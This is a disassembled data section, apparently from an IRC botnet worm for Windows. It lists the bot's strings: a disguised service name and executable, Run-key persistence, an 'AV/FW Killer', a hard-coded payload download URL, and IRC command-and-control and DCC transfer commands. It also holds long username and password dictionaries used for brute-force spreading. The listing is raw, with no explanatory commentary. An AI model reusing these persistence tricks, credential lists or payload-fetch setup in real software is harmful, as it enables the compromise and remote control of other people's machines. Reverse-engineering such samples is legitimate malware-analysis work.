aPiavnc		db '##piavnc##',0       ; DATA XREF: WinMain(x,x,x,x)+4B0o
					; WinMain(x,x,x,x)+540o ...
		align 4
; char Str[]
Str		db 'wgl23.exe',0        ; DATA XREF: WinMain(x,x,x,x)+143o
					; WinMain(x,x,x,x)+167w ...
		align 4
; char aWinnt_bat[]
aWinnt_bat	db 'winnt.bat',0        ; DATA XREF: sub_4126CC+3Do
		align 4
aWindowsService	db 'Windows Service Agent',0 ; DATA XREF: sub_401000+Eo
		align 4
aPwnz		db 'PwnZ|',0            ; DATA XREF: sub_40B10F+12o
		align 4
aWinsys_dat	db 'winsys.dat',0
		align 10h
aXI		db '-x+i',0             ; DATA XREF: sub_401CC7+8026o
		align 4
; char aHelp[]
aHelp		db '##help',0           ; DATA XREF: sub_401CC7+1EABo
					; sub_401CC7+1EBCo ...
		align 10h
; char aHelp_1[]
aHelp_1		db '##help',0           ; DATA XREF: sub_401CC7+451Ao
		align 4
; char aHelp_0[]
aHelp_0		db '##help',0           ; DATA XREF: sub_401CC7+4145o
					; sub_401CC7+4295o
		align 10h
off_440130	dd offset dword_44049C	; DATA XREF: sub_401CC7:loc_409BEEo
off_440134	dd offset aMircV6_16Khale ; DATA XREF: sub_401CC7+892r
					; sub_401CC7+7F43o
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: .data:00440054o
					; .data:00440064o
		align 4
aSoftwareMicr_1	db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0
					; DATA XREF: .data:0044005Co
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41AD95+28o
					; sub_41B0B9+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41AD95+D4o
					; sub_41B0B9+D4o
		align 4
		dd 1
dword_4401F0	dd 1			; DATA XREF: .text:0041C5E2w
aHttp141_62_120	db 'http://141.62.120.99:8080/piaa.exe',0
		align 4
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		align 8
		dd offset dword_4E40B8
		dd offset aAdministrato_1 ; "administrator"
		dd offset aAdministrado_0 ; "administrador"
		dd offset aAdministrate_0 ; "administrateur"
		dd offset aAdministrat_0 ; "administrat"
		dd offset aAdmins_0	; "admins"
		dd offset aAdmin_0	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass_1	; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003_0	; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_1	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault_0	; "default"
		dd offset aSystem	; "system"
		dd offset aServer_6	; "server"
		dd offset aRoot_0	; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser_4	; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter_0	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob_0	; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin_2	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase_0	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2_0	; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle_0	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp_1		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet_0	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent_0	; "student"
		dd offset aTeacher_0	; "teacher"
		dd offset aStaff_0	; "staff"
		align 8
dword_440498	dd 10h			; DATA XREF: sub_401CC7+AC8r
					; sub_401CC7+AF4r ...
dword_44049C	dd 2A402Ah		; DATA XREF: .data:off_440130o
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .data:off_440134o
		align 10h
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .data:00440138o
		align 10h
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .data:0044013Co
		align 10h
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .data:00440140o
		align 10h
aAdministrato_0	db 'administrator',0    ; DATA XREF: .data:00440218o
		align 10h
aAdministrador	db 'administrador',0    ; DATA XREF: .data:0044021Co
		align 10h
aAdministrateur	db 'administrateur',0   ; DATA XREF: .data:00440220o
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: .data:00440224o
aAdmins		db 'admins',0           ; DATA XREF: .data:00440228o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: .data:0044022Co
		align 4
aStaff		db 'staff',0            ; DATA XREF: .data:00440230o
		align 4
aRoot		db 'root',0             ; DATA XREF: .data:00440234o
		align 4
aComputer	db 'computer',0         ; DATA XREF: .data:00440238o
		align 4
aOwner		db 'owner',0            ; DATA XREF: .data:0044023Co
		align 10h
aStudent	db 'student',0          ; DATA XREF: .data:00440240o
aTeacher	db 'teacher',0          ; DATA XREF: .data:00440244o
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .data:00440248o
		align 4
aGuest_0	db 'guest',0            ; DATA XREF: .data:0044024Co
		align 4
aDefault	db 'default',0          ; DATA XREF: .data:00440250o
aDatabase	db 'database',0         ; DATA XREF: .data:00440254o
		align 4
aDba		db 'dba',0              ; DATA XREF: .data:00440258o
aOracle		db 'oracle',0           ; DATA XREF: .data:0044025Co
		align 4
aDb2		db 'db2',0              ; DATA XREF: .data:00440260o
aAdministrato_1	db 'administrator',0    ; DATA XREF: .data:0044026Co
		align 4
aAdministrado_0	db 'administrador',0    ; DATA XREF: .data:00440270o
		align 4
aAdministrate_0	db 'administrateur',0   ; DATA XREF: .data:00440274o
		align 4
aAdministrat_0	db 'administrat',0      ; DATA XREF: .data:00440278o
aAdmins_0	db 'admins',0           ; DATA XREF: .data:0044027Co
		align 4
aAdmin_0	db 'admin',0            ; DATA XREF: .data:00440280o
		align 4
aAdm		db 'adm',0              ; DATA XREF: .data:00440284o
aPassword1	db 'password1',0        ; DATA XREF: .data:00440288o
		align 4
aPassword	db 'password',0         ; DATA XREF: .data:0044028Co
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: .data:00440290o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: .data:00440294o
		align 4
aPass_1		db 'pass',0             ; DATA XREF: .data:00440298o
		align 4
aPwd		db 'pwd',0              ; DATA XREF: .data:0044029Co
a007		db '007',0              ; DATA XREF: .data:004402A0o
a1:					; DATA XREF: .data:004402A4o
		unicode	0, <1>,0
a12		db '12',0               ; DATA XREF: .data:004402A8o
		align 4
a123		db '123',0              ; DATA XREF: .data:004402ACo
a1234		db '1234',0             ; DATA XREF: .data:004402B0o
		align 4
a12345		db '12345',0            ; DATA XREF: .data:004402B4o
		align 10h
a123456		db '123456',0           ; DATA XREF: .data:004402B8o
		align 4
a1234567	db '1234567',0          ; DATA XREF: .data:004402BCo
a12345678	db '12345678',0         ; DATA XREF: .data:004402C0o
		align 4
a123456789	db '123456789',0        ; DATA XREF: .data:004402C4o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: .data:004402C8o
		align 4
a2000		db '2000',0             ; DATA XREF: .data:004402CCo
		align 4
a2001		db '2001',0             ; DATA XREF: .data:004402D0o
		align 4
a2002		db '2002',0             ; DATA XREF: .data:004402D4o
		align 4
a2003_0		db '2003',0             ; DATA XREF: .data:004402D8o
		align 4
a2004		db '2004',0             ; DATA XREF: .data:004402DCo
		align 4
aTest		db 'test',0             ; DATA XREF: .data:004402E0o
		align 4
aGuest_1	db 'guest',0            ; DATA XREF: .data:004402E4o
		align 4
aNone		db 'none',0             ; DATA XREF: .data:004402E8o
		align 4
aDemo		db 'demo',0             ; DATA XREF: .data:004402ECo
		align 4
aUnix		db 'unix',0             ; DATA XREF: .data:004402F0o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .data:004402F4o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: .data:004402F8o
		align 4
aDefault_0	db 'default',0          ; DATA XREF: .data:004402FCo
aSystem		db 'system',0           ; DATA XREF: .data:00440300o
		align 4
aServer_6	db 'server',0           ; DATA XREF: .data:00440304o
		align 10h
aRoot_0		db 'root',0             ; DATA XREF: .data:00440308o
		align 4
aNull_1		db 'null',0             ; DATA XREF: .data:0044030Co
		align 10h
aQwerty		db 'qwerty',0           ; DATA XREF: .data:00440310o
		align 4
aMail		db 'mail',0             ; DATA XREF: .data:00440314o
		align 10h
aOutlook	db 'outlook',0          ; DATA XREF: .data:00440318o
aWeb		db 'web',0              ; DATA XREF: .data:0044031Co
aWww		db 'www',0              ; DATA XREF: .data:00440320o
aInternet	db 'internet',0         ; DATA XREF: .data:00440324o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: .data:00440328o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: .data:0044032Co
		align 4
aHome		db 'home',0             ; DATA XREF: .data:00440330o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: .data:00440334o
		align 4
aUser_4		db 'user',0             ; DATA XREF: .data:00440338o
		align 10h
aOem		db 'oem',0              ; DATA XREF: .data:0044033Co
aOemuser	db 'oemuser',0          ; DATA XREF: .data:00440340o
aOeminstall	db 'oeminstall',0       ; DATA XREF: .data:00440344o
		align 4
aWindows	db 'windows',0          ; DATA XREF: .data:00440348o
aWin98		db 'win98',0            ; DATA XREF: .data:0044034Co
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: .data:00440350o
		align 10h
aWinxp		db 'winxp',0            ; DATA XREF: .data:00440354o
		align 4
aWinnt		db 'winnt',0            ; DATA XREF: .data:00440358o
		align 10h
aWin2000	db 'win2000',0          ; DATA XREF: .data:0044035Co
aQaz		db 'qaz',0              ; DATA XREF: .data:00440360o
aAsd		db 'asd',0              ; DATA XREF: .data:00440364o
aZxc		db 'zxc',0              ; DATA XREF: .data:00440368o
aQwe		db 'qwe',0              ; DATA XREF: .data:0044036Co
aBob		db 'bob',0              ; DATA XREF: .data:00440370o
aJen		db 'jen',0              ; DATA XREF: .data:00440374o
aJoe		db 'joe',0              ; DATA XREF: .data:00440378o
aFred		db 'fred',0             ; DATA XREF: .data:0044037Co
		align 4
aBill		db 'bill',0             ; DATA XREF: .data:00440380o
		align 4
aMike		db 'mike',0             ; DATA XREF: .data:00440384o
		align 4
aJohn		db 'john',0             ; DATA XREF: .data:00440388o
		align 4
aPeter		db 'peter',0            ; DATA XREF: .data:0044038Co
		align 4
aLuke		db 'luke',0             ; DATA XREF: .data:00440390o
		align 4
aSam		db 'sam',0              ; DATA XREF: .data:00440394o
aSue		db 'sue',0              ; DATA XREF: .data:00440398o
aSusan		db 'susan',0            ; DATA XREF: .data:0044039Co
		align 4
aPeter_0	db 'peter',0            ; DATA XREF: .data:004403A0o
		align 4
aBrian		db 'brian',0            ; DATA XREF: .data:004403A4o
		align 4
aLee		db 'lee',0              ; DATA XREF: .data:004403A8o
aNeil		db 'neil',0             ; DATA XREF: .data:004403ACo
		align 10h
aIan		db 'ian',0              ; DATA XREF: .data:004403B0o
aChris		db 'chris',0            ; DATA XREF: .data:004403B4o
		align 4
aEric		db 'eric',0             ; DATA XREF: .data:004403B8o
		align 4
aGeorge		db 'george',0           ; DATA XREF: .data:004403BCo
		align 4
aKate		db 'kate',0             ; DATA XREF: .data:004403C0o
		align 4
aBob_0		db 'bob',0              ; DATA XREF: .data:004403C4o
aKatie		db 'katie',0            ; DATA XREF: .data:004403C8o
		align 10h
aMary		db 'mary',0             ; DATA XREF: .data:004403CCo
		align 4
aLogin_2	db 'login',0            ; DATA XREF: .data:004403D0o
		align 10h
aLoginpass	db 'loginpass',0        ; DATA XREF: .data:004403D4o
		align 4
aTechnical	db 'technical',0        ; DATA XREF: .data:004403D8o
		align 4
aBackup		db 'backup',0           ; DATA XREF: .data:004403DCo
		align 10h
aExchange	db 'exchange',0         ; DATA XREF: .data:004403E0o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .data:004403E4o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: .data:004403E8o
		align 4
aSlut		db 'slut',0             ; DATA XREF: .data:004403ECo
		align 4
aSex		db 'sex',0              ; DATA XREF: .data:004403F0o
aGod		db 'god',0              ; DATA XREF: .data:004403F4o
aHell		db 'hell',0             ; DATA XREF: .data:004403F8o
		align 4
aHello		db 'hello',0            ; DATA XREF: .data:004403FCo
		align 4
aDomain		db 'domain',0           ; DATA XREF: .data:00440400o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: .data:00440404o
		align 10h
aDomainpassword	db 'domainpassword',0   ; DATA XREF: .data:00440408o
		align 10h
aDatabase_0	db 'database',0         ; DATA XREF: .data:0044040Co
		align 4
aAccess		db 'access',0           ; DATA XREF: .data:00440410o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: .data:00440414o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: .data:00440418o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: .data:0044041Co
		align 4
aData		db 'data',0             ; DATA XREF: .data:00440420o
		align 10h
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: .data:00440424o
		align 4
aDb1		db 'db1',0              ; DATA XREF: .data:00440428o
aDb2_0		db 'db2',0              ; DATA XREF: .data:0044042Co
aDb1234		db 'db1234',0           ; DATA XREF: .data:00440430o
		align 4
aSa		db 'sa',0               ; DATA XREF: .data:00440434o
		align 4
aSql		db 'sql',0              ; DATA XREF: .data:00440438o
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: .data:0044043Co
		align 10h
aOrainstall	db 'orainstall',0       ; DATA XREF: .data:00440440o
		align 4
aOracle_0	db 'oracle',0           ; DATA XREF: .data:00440444o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: .data:00440448o
aCisco		db 'cisco',0            ; DATA XREF: .data:0044044Co
		align 10h
aDell		db 'dell',0             ; DATA XREF: .data:00440450o
		align 4
aCompaq		db 'compaq',0           ; DATA XREF: .data:00440454o
		align 10h
aSiemens	db 'siemens',0          ; DATA XREF: .data:00440458o
aHp		db 'hp',0               ; DATA XREF: .data:0044045Co
		align 4
aNokia		db 'nokia',0            ; DATA XREF: .data:00440460o
		align 4
aXp_1		db 'xp',0               ; DATA XREF: .data:00440464o
		align 4
aControl	db 'control',0          ; DATA XREF: .data:00440468o
aOffice		db 'office',0           ; DATA XREF: .data:0044046Co
		align 4
aBlank		db 'blank',0            ; DATA XREF: .data:00440470o
		align 10h
aWinpass	db 'winpass',0          ; DATA XREF: .data:00440474o
aMain		db 'main',0             ; DATA XREF: .data:00440478o
		align 10h
aLan		db 'lan',0              ; DATA XREF: .data:0044047Co
aInternet_0	db 'internet',0         ; DATA XREF: .data:00440480o
		align 10h
aIntranet	db 'intranet',0         ; DATA XREF: .data:00440484o
		align 4
aStudent_0	db 'student',0          ; DATA XREF: .data:00440488o
aTeacher_0	db 'teacher',0          ; DATA XREF: .data:0044048Co
aStaff_0	db 'staff',0            ; DATA XREF: .data:00440490o
		align 4
; char aSS[]
aSS		db '%s%s',0             ; DATA XREF: WinMain(x,x,x,x)+10Do
		align 4
; char Format[]
Format		db '%s\%s',0            ; DATA XREF: WinMain(x,x,x,x)+189o
		align 4
; char aSDS[]
aSDS		db '%s %d "%s"',0       ; DATA XREF: WinMain(x,x,x,x)+28Fo
		align 10h
; char asc_440A60[]
asc_440A60	db '-'                  ; DATA XREF: WinMain(x,x,x,x)+364o
		db 3, 34h, 2
		dd 6E69616Dh, 202D0203h, 20746F42h, 72617473h, 2E646574h
		dd 0
; char asc_440A7C[]
asc_440A7C	db '-'                  ; DATA XREF: WinMain(x,x,x,x)+3A2o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 10h
; char asc_440AA0[]
asc_440AA0	db '-'                  ; DATA XREF: WinMain(x,x,x,x)+3F3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 10h
; char asc_440AE0[]
asc_440AE0	db '-'                  ; DATA XREF: WinMain(x,x,x,x)+420o
		db 3, 34h, 2
		dd 6E656469h, 2036474h
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
; char asc_440B0C[]
asc_440B0C	db '-'                  ; DATA XREF: WinMain(x,x,x,x)+46Bo
		db 3, 34h, 2
		dd 6E656469h, 2036474h
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 10h
; char asc_440B40[]
asc_440B40	db '-'                  ; DATA XREF: sub_4019E7+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 10h
; char aPassS[]
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401B4F+35o
		align 4
; char aNickSUserS00S[]
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401B4F+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
; char SubStr[]
SubStr		db ' :',0               ; DATA XREF: sub_401CC7+86o
		align 4
; char Delim[]
Delim:					; DATA XREF: sub_401CC7+AEo
		unicode	0, < >,0
; char asc_440B90[]
asc_440B90:				; DATA XREF: sub_401CC7:loc_401D92o
		unicode	0, < >,0
; char asc_440B94[]
asc_440B94:				; DATA XREF: sub_401CC7+191o
		unicode	0, <!>,0
; char aPing[]
aPing		db 'PING',0             ; DATA XREF: sub_401CC7+1A0o
		align 10h
; char aPongS[]
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401CC7+1BAo
		align 4
; char aJoinSS[]
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+1DBo
		align 4
; char a001[]
a001		db '001',0              ; DATA XREF: sub_401CC7+1F7o
; char a005[]
a005		db '005',0              ; DATA XREF: sub_401CC7+20Co
; char aUserhostS[]
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+8016o
		align 4
; char aModeSS_0[]
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+802Eo
		align 4
; char aJoinSS_4[]
aJoinSS_4	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+8044o
		align 4
; char a302_0[]
a302_0		db '302',0              ; DATA XREF: sub_401CC7+221o
; char a[]
a@:					; DATA XREF: sub_401CC7+231o
		unicode	0, <@>,0
; char a433_0[]
a433_0		db '433',0              ; DATA XREF: sub_401CC7+259o
; char aNickS[]
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401CC7+284o
		align 4
; char aKick[]
aKick		db 'KICK',0             ; DATA XREF: sub_401CC7+2DBo
		align 4
; char asc_440C14[]
asc_440C14	db '-'                  ; DATA XREF: sub_401CC7+34Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User %s logged out.',0
; char aNoticeSS[]
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+368o
; char aJoinSS_0[]
aJoinSS_0	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+3B2o
		align 4
; char aNick[]
aNick		db 'NICK',0             ; DATA XREF: sub_401CC7+3C5o
		align 4
; char aSS_1[]
aSS_1		db ':%s%s',0            ; DATA XREF: sub_401CC7+4E3o
		align 4
; char aPart[]
aPart		db 'PART',0             ; DATA XREF: sub_401CC7+508o
		align 4
; char aQuit[]
aQuit		db 'QUIT',0             ; DATA XREF: sub_401CC7+519o
		align 4
; char asc_440C74[]
asc_440C74	db '-'                  ; DATA XREF: sub_401CC7+5A8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User: %s logged out.',0
		align 4
; char aPart_0[]
aPart_0		db 'PART',0             ; DATA XREF: sub_401CC7+5C5o
		align 10h
aNoticeSS_0	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+5E9o
; char a353[]
a353		db '353',0              ; DATA XREF: sub_401CC7+557o
unk_440CB4	db  2Dh	; -		; DATA XREF: sub_401CC7+588o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: %s.',0
; char aPrivmsg[]
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401CC7+5F4o
; char aNotice[]
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401CC7+605o
		align 4
; char a332[]
a332		db '332',0              ; DATA XREF: sub_401CC7+616o
; char aPrivmsg_0[]
aPrivmsg_0	db 'PRIVMSG',0          ; DATA XREF: sub_401CC7+637o
; char aNotice_0[]
aNotice_0	db 'NOTICE',0           ; DATA XREF: sub_401CC7+64Co
		align 4
; char aNotice_1[]
aNotice_1	db 'NOTICE',0           ; DATA XREF: sub_401CC7+7C7o
		align 10h
; char asc_440D00[]
asc_440D00:				; DATA XREF: sub_401CC7+7ECo
		unicode	0, <#>,0
; char dword_440D04
dword_440D04	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401CC7+874o
dword_440D10	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401CC7+89Fo
		dd 0D017325h, 0Ah
; char dword_440D2C
dword_440D2C	dd 4E495001h, 47h	; DATA XREF: sub_401CC7+8AAo
dword_440D34	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401CC7+8DBo
		dd 0A0Dh
; char dword_440D4C
dword_440D4C	dd 43434401h, 0		; DATA XREF: sub_401CC7+693o
; char aSend[]
aSend		db 'SEND',0             ; DATA XREF: sub_401CC7+6B1o
		align 4
; char aS[]
aS		db '%s',0               ; DATA XREF: sub_401CC7+6DEo
		align 10h
; char aS_0[]
aS_0		db '%s',0               ; DATA XREF: sub_401CC7+6F9o
		align 4
; char asc_440D64[]
asc_440D64	db '-'                  ; DATA XREF: sub_401CC7+75Ao
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
unk_440D94	db  2Dh	; -		; DATA XREF: sub_401CC7+8ECo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToStartT	db '- Failed to start transfer thread, error: <%d>.',0
		align 10h
; char asc_440DD0[]
asc_440DD0	db '-'                  ; DATA XREF: sub_401CC7+904o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
; char aChat[]
aChat		db 'CHAT',0             ; DATA XREF: sub_401CC7+924o
		align 4
; char aS_1[]
aS_1		db '%s',0               ; DATA XREF: sub_401CC7+961o
		align 10h
; char asc_440E20[]
asc_440E20	db '-'                  ; DATA XREF: sub_401CC7+9BBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 10h
unk_440E40	db  2Dh	; -		; DATA XREF: sub_401CC7+A2Ao
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToStartC	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_440E78	db  2Dh	; -		; DATA XREF: sub_401CC7+A3Bo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_440EA8	db  2Dh	; -		; DATA XREF: sub_401CC7+A4Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
; char aLogin[]
aLogin		db 'login',0            ; DATA XREF: sub_401CC7+A6Fo
		align 4
; char asc_440EE4[]
asc_440EE4:				; DATA XREF: sub_401CC7+A87o
		unicode	0, <l>,0
; char asc_440EE8[]
asc_440EE8:				; DATA XREF: sub_401CC7+7EA6o
		unicode	0, <!>,0
; char asc_440EEC[]
asc_440EEC:				; DATA XREF: sub_401CC7+7EC4o
		unicode	0, <~>,0
; char aNoticeSPassAut[]
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401CC7+7EF4o
		align 4
; char aNoticeSYourAtt[]
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401CC7+7F0Bo
		align 4
unk_440F44	db  2Dh	; -		; DATA XREF: sub_401CC7+7F1Do
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 10h
; char aNoticeSHostAut[]
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401CC7+7F5Bo
		align 4
; char aNoticeSYourA_0[]
aNoticeSYourA_0	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401CC7+7F72o
		align 4
